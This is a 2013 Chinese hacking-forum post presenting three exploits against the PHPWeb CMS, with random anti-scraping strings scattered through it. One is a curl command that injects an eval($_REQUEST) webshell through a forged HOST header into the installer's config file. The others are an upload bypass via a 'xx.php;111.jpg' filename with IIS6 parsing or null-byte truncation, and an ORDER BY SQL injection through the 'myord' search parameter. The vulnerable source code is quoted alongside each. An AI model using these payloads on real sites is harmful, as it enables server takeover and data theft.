中国网络渗透测试联盟
标题:
phpweb成品网站最新版(注入、上传、写shell)
[打印本页]
作者:
admin
时间:
2013-1-4 19:45
标题:
phpweb成品网站最新版(注入、上传、写shell)
注入:
7 J" S+ x G; Z9 _$ F
- b e( G" n& B p6 \3 f; s' C
之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码
" u0 A/ \8 y; _
( Z- L2 [4 c/ R; W: s4 R! F
鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件
; g/ g: z4 ]5 O) u7 i& C h
鸡肋2: 有一定安全常识的站长都会删掉 install 目录
3 {! J: Q5 ? D) r# A
- Z( ~* f- m" b/ y( Y6 ?
虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响
* _# f1 E! D- Z; J* g
' G/ d2 d0 o0 b4 }+ A0 v5 G4 A
分析:
8 x3 Z e4 T$ d( p' |; k
4 {6 `3 P; D/ j) g3 x/ f
' P1 r7 j- ]- ?7 c/ f$ N
$siteurl="http://".$_SERVER["HTTP_HOST"]."/"; //未过滤
% s5 _* A+ u( v: \3 f6 F: o
' v1 j% C4 W5 G3 Y- b1 w0 P
$filestr = fread(fopen($SysConfigFile, 'r'),30000);
, G* q9 q) \7 f# q' ~5 l. G
$filestr=str_replace(" ","",$filestr);
e7 ?* I1 p9 Q+ K5 t% g6 A) { R& h
$filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
- G. @ O! n5 g* v
$filestr=str_replace("DefaultDbName",$dbname,$filestr);
& v/ e" U1 O" [5 X
$filestr=str_replace("DefaultDbUser",$dbuser,$filestr);
' M! S; f" x( F/ W9 M9 ^
$filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
2 Y7 w3 @; G, S' }
$filestr=str_replace("DefaultsLan","zh_cn",$filestr);
( `1 P. p0 C! S. S7 i& e0 x
$filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
) {" Q9 d( j" i* G, A( E
$filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);
0 X) x. s% b0 J0 y
* Z0 U& w0 V, K
fwrite(fopen($ConFile,"w"),$filestr,30000);
4 J9 ^! q- t! u1 ]5 R# G6 H/ P V
$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^
! N$ `% y9 G3 i
d+ M7 d& v7 S- ]5 G( W0 C5 Y
poc:
: i" b3 s; o, }7 J7 U
) a. X; N: l3 b! h
?
/ K2 E; Q, h3 |" i* t. R2 S# n
1
1 s/ P* L- d. d) V
curl
http://fuck.0day5.com/base/install/index.php
--data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"
& ]1 _6 x! @. L. R6 U& T0 ^7 `$ Q
shell地址: /config.inc.php
! @6 R+ q- ^, y/ T, ]" r& M; n
跟之前的 phpcms一样 需要远程数据库
' n: q. ]7 l% T4 B% W' q
( m& k1 i+ _# [- R1 V7 Y5 X
——————————————————–
, Y2 G4 N X* K3 l& Y4 q/ W" Z# r
上传漏洞(需要进后台):
1 I4 {. l9 [5 y" i
漏洞文件: /kedit/upload_cgi/upload.php
8 Y* M: @0 ?% ^, X. k
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
' ~3 ?8 K3 A- @9 P: }/ D+ y
' X/ o* d9 R! j2 m
8 \: [( L) @9 X) E6 j
<?php
+ Q( j, Y9 i3 g- [: f$ p# ]+ f4 A( M
define("ROOTPATH", "../../");
+ ]8 p8 }* }7 v; a! R: x0 L
include(ROOTPATH."includes/admin.inc.php");
% U) f& V- h% s) D( }
NeedAuth(0);
4 p/ |( u! W# A2 l& l
' ^' o# N# b7 d( {$ g: a( |
$dt=date("Ymd",time());
F2 o4 O! D+ N( V6 X. u! Y( N
if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
# q7 f4 p8 B6 l
@mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
% L9 e' o0 G- j) B7 c
}
. a2 |# @' [$ m0 J5 C3 h/ i
, e. z5 ]$ s- e3 T- f
//文件保存目录路径
% G6 K1 T: Y. X2 b1 @1 H8 d ]
$save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
8 f z* _4 b( Y$ f; P5 n* M
echo $save_path;
/ I- ?( g6 }6 a" Z
//文件保存目录URL
3 N' d8 i3 y) J# Y; E6 c9 b
$save_url = '../../'.$_POST['attachPath'].$dt.'/';
3 U* x7 Z* `! x9 b
5 x+ l2 R& z6 k9 k& P
//定义允许上传的文件扩展名
Z% U: s1 D" \' a$ ?3 W" e
$ext_arr = array('gif','jpg','png','bmp'); //限制后缀
. L: w0 S+ F0 }* v3 l
9 n* L5 K! \; l% d2 f2 ~
//最大文件大小
/ Z8 I8 C4 p4 ?- J e( X
$max_size = 1000000;
/ W5 G& w" P1 N7 m$ u$ A% H
& Y; d3 H7 T0 U1 N) L* t
//更改目录权限
7 a2 G, N% K* |1 K
@mkdir($save_path, 0777);
/ a! r3 |: U" e- t7 d/ a! C
/ s! Y, l/ `/ j X' G1 U$ w
//文件的全部路径
" ^) e0 S3 W N
$file_path = $save_path.$_POST['fileName']; //保存文件名
5 {' s3 r5 s! ^ I
# z1 p% ~- o7 u9 N/ L
//文件URL
/ w8 g/ B2 O7 R1 l q
$file_url = $save_url.$_POST['fileName'];
1 f$ L' q, |# i1 |( P
//有上传文件时
: T: A( G9 M% b+ h3 r: b! D3 O, D1 ~
if (empty($_FILES) === false) {
- a2 x1 N8 \" E% V
+ |* j4 R, x7 q/ l7 n' e v
//原文件名
/ ^! r, l2 ?2 b, q4 D
$file_name = $_FILES['fileData']['name'];
K% r/ B9 R" y/ r1 o
//服务器上临时文件名
0 X2 `6 n$ |2 y4 ?7 w, @
$tmp_name = $_FILES['fileData']['tmp_name'];
* }3 s! S2 u8 L& E6 A$ Z
//文件大小
?: X& f- _* o _9 C
$file_size = $_FILES['fileData']['size'];
9 C, B( R: {$ g: A7 n$ c
//检查目录
, n* x3 n! {7 {; X0 S
if (@is_dir($save_path) === false) {
; }/ ?- _# v5 T8 v! |6 Z/ W
alert("上传目录不存在。");
0 i, N6 n: P7 y' E9 j
}
" O0 ? @# n' y3 I* J, \9 T ~
//检查目录写权限
# }$ _ I9 W5 {7 Q- T! X, ]
if (@is_writable($save_path) === false) {
& E9 ]/ s5 g/ I- n/ I6 G
alert("上传目录没有写权限。");
+ C6 {" h- |& q& A; Q
}
! s: F' ~5 @: \- p0 g8 C
//检查是否已上传
q6 J2 o2 a9 w4 y
if (@is_uploaded_file($tmp_name) === false) {
/ b8 z$ f1 w: q
alert("临时文件可能不是上传文件。");
. J3 @* x+ m9 E
}
2 k# c9 m9 g: H1 w
//检查文件大小
! V/ J7 E( y1 ?3 l( n+ \
if ($file_size > $max_size) {
( \. P/ F2 H* f! f4 W! f% V9 ~
alert("上传文件大小超过限制。");
! Y* d, _, h/ \ R- I; v
}
% _# G! O& h; |7 q7 r7 [" [" \
//获得文件扩展名
9 Z' t; H) a0 D9 Z% A' D' \
$temp_arr = explode(".", $_POST['fileName']);
1 [/ g; V" l; i) ]( f6 G. b' p5 v8 B
$file_ext = array_pop($temp_arr);
& t5 w* T! {5 n3 ^ r) c
$file_ext = trim($file_ext);
3 O L' A. d% y4 Q0 R, Z9 o
$file_ext = strtolower($file_ext);
) I& t% v- A% _9 v9 U; c! i
- m/ F. W- x# J+ q; x, P h
//检查扩展名
/ b+ H1 d" J7 w( m: k. h
if (in_array($file_ext, $ext_arr) === false) {
3 c: q7 {( i& k% P
alert("上传文件扩展名是不允许的扩展名。");
8 G, } @" ~9 B6 U
}
; Q: Y" H" ^* }+ z' I$ M
]7 `9 X% |6 M
//移动文件
t) V- I; t, ]0 V& m
//未重命名 虽然过滤了 后缀 iis 6解析漏洞 ^ _ ^
, ~. {$ [1 p6 q$ p6 l
if (move_uploaded_file($tmp_name, $file_path) === false) {
. S) C' y4 x" d: \7 a6 {# [7 L
alert("上传文件失败。");
: t2 i1 E4 N8 l! m# M f
}
" Y8 j" w1 B) U! X7 @9 P
% A' S; Y# q( b% W, V# _
@chmod($file_path,0666);
0 h( z' z; g9 ]8 W
' D2 D8 {8 |; [0 T; M5 j1 e: x' y# g
?>
9 _* W+ S+ ?' |2 Y% a7 M+ | d
抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用
http://www.0day5.com/?p=227
6 J$ ~% Z4 O% u0 a1 H' d. |3 L
' a0 D9 S& A1 r
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
, n8 g8 u5 d* u" ?8 u
" c) {% i7 I7 b0 e0 _
——————————————————
8 w U+ P$ D) C1 h8 o6 G
注入漏洞:
& k+ D8 ]" C. Y0 i2 o0 X8 X- ~
漏洞文件:search/module/search.php
4 o1 L' Z+ [# x9 d2 [
/search/index.php?key=1&myord=1 [sqlinjection]
, e D8 c& J! p5 k
* T0 V' l. i" b) ?9 |
2 D9 M1 `+ d5 a3 |& A- f* O# [
<?php
7 S& U, ^1 b9 s7 S" _, V& f
// ... 省略 n 行...
8 ~& K. q% k0 N1 I; |0 ]! D# n% V
//第18行:
! g3 d6 \& f; `. Q" r' A- l1 z
$key=htmlspecialchars($_GET["key"]); //只是简单的将字符HTML 实体 编码 , mysql 注入不受此影响
" I) o# _8 i+ x5 G1 t5 A
$page=htmlspecialchars($_GET["page"]);
) w( u, L7 R) F& D) K4 O% _
$myord=htmlspecialchars($_GET["myord"]);
, ~, K+ h4 A' u1 ~) O, c
/ |0 m( ?& P! u! x3 N6 S
// ... 省略 n 行...
$ A0 w- J, r9 t1 J0 P
$key,$myord 两个参数带入查询
2 {0 O( _& b( s
//第47行 $key:
# b: z" J( r. i: U* ~7 C8 W; F
( U. P& R0 g% o% }: C* D
$fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')"); //虽然带入查询 但使用的 是regexp 不知如何绕过..
, Q7 i. K& w" t( ]
) w# [4 P3 _7 L6 }9 r
//第197行 $myord
; L2 O6 |% m' R/ V9 n
$fsql->query($scl . " order by $myord desc limit $pagelimit "); 产生注入
* i% J6 m, Z4 n5 H N C* W) J
$ n4 X' `# N/ s2 X" a- n% `$ J
?>
, K) Z9 S7 K! U; G8 `
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2